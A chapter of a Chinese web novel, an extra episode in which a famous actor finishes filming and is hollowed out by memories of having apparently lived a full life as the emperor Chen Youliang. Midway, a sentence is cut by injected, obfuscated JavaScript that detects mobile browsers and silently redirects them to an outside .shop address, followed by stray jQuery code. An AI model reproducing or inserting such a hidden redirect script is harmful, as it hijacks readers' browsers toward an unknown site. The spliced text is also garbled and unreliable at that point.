番外:余烬
“你又回到了片场,只是历史发生了改变。洪武大帝的剧情,也跟着变了。”
“卡!”
“杀青!”
声音像是从极遥远的地方传来,又像是直接在脑髓里炸开。
你坐在那里。
身下是硬的,是片场折叠椅的钢管和帆布。可你的记忆里,身下是软的,是龙床上铺了七层仍觉冰冷的锦褥,是生命最后一点温度正在流失的所在。
你是影帝陈垣。你的戏,杀青了。
你也是大承太祖皇帝陈友谅。你的一辈子,过完了。
片场的灯光白得刺眼,晃得你有些晕。助理的脸凑过来,嘴在动,声音却隔着一层水:“陈老师?陈老师您还好吗?是不是太累了……”
累?
这个字太轻了。轻得像片场飘飞的泡沫。
你感觉到的,是一种沉到骨髓里、渗进灵魂每一道缝隙中的“完”。是演完了最后一幕,也是过完了最后一天。是所有为了活下去、为了赢下去,为了呈现最完美的艺术作品而不得不燃烧的东西,都在应天皇宫那张龙床上,随着最后一口呼吸和皇后沈清媛的哭泣声中,彻底燃尽了,冷却了。
现在剩下的,不是累。是灰。是冰冷的、再也不会复燃的余烬。
“陈老师!神了!真的神了!”导演的脸挤进视野,兴奋地挥舞着手臂,唾沫星子几乎溅到你脸上。你就是陈友谅!不,你就是洪武皇帝本人!这戏成了!”
你的确就是洪武皇帝本人。
你听着这荒谬的赞美,脸上做不出任何表情。肌肉记得该怎么笑,该怎么谦逊,可指令从一片虚无的大脑发出,在半路就消散了。
你听着,脸上做不出任何表情。你刚刚在另一个世界,用尽全部心力,演完了陈友谅的一生。从江州灵堂那身染血的生麻孝服开始。
你记得。都记得。
记忆,是江州那个阴冷的黎明。你穿着那身染血的、自己又狠狠撕开左臂伤口让血浸透的素白麻衣,站在点将台上。台下是黑压压的、惊疑愤怒的将士。你掏出了“邹普胜通元密信”和“清洗名单”,你嘶吼着徐寿辉的“背叛”,你砸碎了酒坛,将自己的血滴入,然后高举过头,对着苍天和台下死寂的军民,用尽灵魂嘶吼:
“待驱除胡虏,光复汉家山河之日——”
“请诸君,取我陈友谅颈上这颗头颅,祭于陛下坟前!”
那誓言,带着血腥,带着绝望,也带着不容置疑的决绝。你成功了。那身白衣,成了旗帜,也成了枷锁。
记忆,是汝宁城外的攻心。你让老卒在夜里对着元军汉兵喊话,用“死一个汉兵,赏蒙古鞑子二两雪花银”的谣言,种下猜忌的毒刺。你射出绑着“红巾军不杀汉兵,只杀蒙古人”布条的箭书,递上“逃跑往西,有粥有路”的选择。你在阵前架起大锅,让被俘的元军汉兵在你军阵前狼吞虎咽地喝粥,然后对着对面无数双饥饿的眼睛,清晰地说:
“回去。”
“告诉你们营里的弟兄——”
“汉人不饿汉人!”
人心,比城墙更容易崩塌。
记忆,是汴梁和洛阳的陷落。你重金收买色目将领阵前倒戈,你策反城内的汉将李思齐,约定“举火为号,开门纳师”。在总攻的鼓声中,内应的刀刃从背后砍向蒙古“同伴”,城门从内部被打开。崩溃像雪崩,抵抗迅速收缩为蒙古兵最后的困兽之斗。你踏着血泊和泥泞入城,看着“天完”龙旗插上城楼。每一步,都踩在算计和鲜血铺就的路上。
记忆,是庐州大营灵前那场终极的表演。为了给朱元璋钉上“弑主戮孤”的最后一颗棺材钉,也为了将十二万大军彻底化为复仇的“哀兵”,你策划了“幼主遇刺自刎”。然后,在巨大的灵棚里,你对着那辆空车驾和牌位,哭到撕心裂肺,以头抢地,撞得额头乌青,最后在极致的悲愤中,猛地“拔剑自刎”。张定边和陈友仁扑上来死死拦住你,夺下你的剑,哭喊着“大仇未报,您岂能轻生”。你在他们怀中“挣扎”,状若疯魔,最终“力竭”,用嘶哑到破音的声音,对着全军立下血誓:
“不破应天,不斩元璋,不将此獠满门首级,悬于少主灵前——”
“我——誓不为人!!!”
山崩海啸的“报仇”声,响彻云霄。那不再是军队,那是十二万被彻底点燃的复仇之火。你知道,朱元璋完了。
记忆,是应天城下的终局。朱元璋众叛亲离,在城头横剑自刎。你兵不血刃,进入这座东南雄城。你知道,你赢了。用一场从江州灵堂开始,精心编排、倾情演绎、直至庐州灵前达到巅峰的悲情大戏,赢了天下,也赢了史书上“忠义复仇”的名分。
然后,是称帝,是治理,是坐在那张至高无上、也至高至寒的椅子上,度过漫长岁月。直至最后,在龙床上,在熟悉的药味和孤寂中,走向终点。
现在,你回来了。带着这完整、漫长、沉重如山的另一世记忆,回到了这个起点。
“陈老师?陈老师您没事吧?”助理的声音把你从记忆的深海里打捞出来。你缓缓转过头,看向他。你的眼神让他下意识地后退了半步——那不是他熟悉的、温和的影帝的眼神。那里面什么都没有,只有一片深不见底的、冰冷的虚无,像两口封冻万载的寒潭。
你只是慢慢地,极其缓慢地,转动了一下眼球,看向周围。
穿着脏兮兮盔甲在说笑的群演,抱着反光板跑动的工作人员,散发着塑料和灰尘气味的布景城墙,还有那个写着“杀青大吉”、甜腻得令人反胃的奶油蛋糕。
这一切,如此鲜明,又如此虚假。
而记忆里的东西,那些没有实体、却沉重千万倍的东西——誓师时山呼海啸的“报仇”声,刀刃砍进骨肉的钝响,火焰噼啪吞噬梁柱的爆裂,胜利后深宫里更深的寂静,以及最终包裹一切的、无边无际的黑暗——它们如此真实,真实到此刻这片喧嚣,反而像个一戳就破的幻梦。
你试图站起来,身体晃了一下。不是因为虚弱,是这具属于“陈垣”的身体太轻、太健康,承载不住那份刚刚归来的、属于“陈友谅”的沉重记忆。那份记忆有山的重量,有血的颜色,有铁的味道。
有人扶了你一把。是那个总是沉默寡言的爆破师傅,老刘。他很快松开手,退到阴影里,只留下手臂上短暂而坚定的力道,和一双深不见底、匆匆瞥过你的眼睛。
你走向化妆间,脚步有些飘。每一步,都像踩在现实与记忆的裂缝边缘。
镜子里的人,上了厚重的老年妆,白发,皱纹,威严的眉梢。可你看进去,看到的不是妆容,也不是陈垣。你看到的是一个被两段人生、尤其是最后那段漫长、万众敬仰却无比孤独、在至高之位上拥有一切又最终失去一切的帝王人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514379|202953||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
生,是彻底掏空了的壳。
没有悲伤,没有喜悦,没有怨恨,也没有解脱。
只有一片绝对的空。一片燃烧殆尽后,连余温都不剩的、广漠的虚无。
你慢慢卸妆,摘下头套,擦去油彩。热水洗去扮演“衰老”的痕迹,露出底下属于演员陈垣的面孔。露出底下属于四十三岁影帝的、保养得当的皮肤。可有什么东西洗不掉。是眼神深处那片绝对的“空”。它看过灵堂白幡,看过沙场血火,看过宫阙倾颓,也看过至高之位的无边寂寞。它已经不会为任何事起波澜了。那不是皱纹,不是疤痕。是眼神。是那瞳孔深处,再也无法亮起的、属于“人”的鲜活光彩。它看过太多,算计太多,背负太多,也失去太多。它已经不会为了“杀青”而放松,为了“赞美”而欣喜,为了“蛋糕”而期待。
它只是看着,平静地,空洞地,看着。
换回自己的衣服,柔软的羊绒,干净的棉布。镜子里的人,重新变回了“陈垣”,那个风度翩翩、备受尊敬的影帝。
你拉开门。
声浪和光线将你吞没。香槟,欢笑,祝贺,喧闹的人群。
你被簇拥到蛋糕前,塑料刀被塞进手里。
“陈老师,切蛋糕!说两句!”
你握着刀,看着那团雪白的、柔软的、象征圆满结束的奶油。刀刃很薄,很轻。
你的眼前,没有任何画面闪现。没有庆功宴,没有清水的碗,没有摔碎的脆响。
只有一片空白。
你抬起头,望向那一张张洋溢着简单快乐、期待着你“说两句”的脸。你知道他们想听什么,想看到什么。那是“陈垣”应该给出的反应。
于是,你调动了这具身体最熟练的机能。嘴角上扬,拉出一个精准的、温和的、带着恰到好处疲惫与满足的弧度。眼神聚焦,扫过众人,流露出属于“影帝陈垣”的、专业的感激。
“谢谢大家,”你的声音平稳,甚至带着一丝恰到好处的沙哑,听起来充满了“入戏”后的余韵,“这段时间,辛苦了。”
完美无缺。
然后,你手腕稳定地落下,塑料刀切开奶油,干净利落。
欢呼声再次响起。
你站在人群中心,微笑着,仿佛与这热闹融为一体。
只有你自己知道,这微笑是一个空壳精密的模仿。这具躯体里,那个刚刚经历完两段漫长人生的灵魂,已经彻底沉寂了。
陈友谅的故事,在应天皇宫的龙床上,已经写完了句号。
陈垣的这场戏,也在片场的喧闹中,画上了终止符。
现在站在这里的,只是一个带着双重灰烬、不知接下来该为何而“演”的……存在,因为你已经用了陈友谅的一辈子来演戏了,你忘记了自己原本的样子,如今居然变成需要陈友谅来演你自己。
杀青快乐。
不是这次的杀青,是你用天下为舞台,人心为棋子的,属于明君圣主陈友谅的人生大戏,杀青快乐。没有什么遗憾的,一切都很好,你只是不会再演戏了,演了一辈子戏了,你累了。影帝陈恒也会退出演艺圈,永远息影了。因为你的最后一场戏。已经圆满结束了。
你回忆起你在郊区的别墅后山好像有一座破败的松山寺。或许你可以用“陈恒”的钱把哪里翻新一下。以后世上没有“陈影帝”了,也没有“陛下”了,只有松山寺的陈居士了。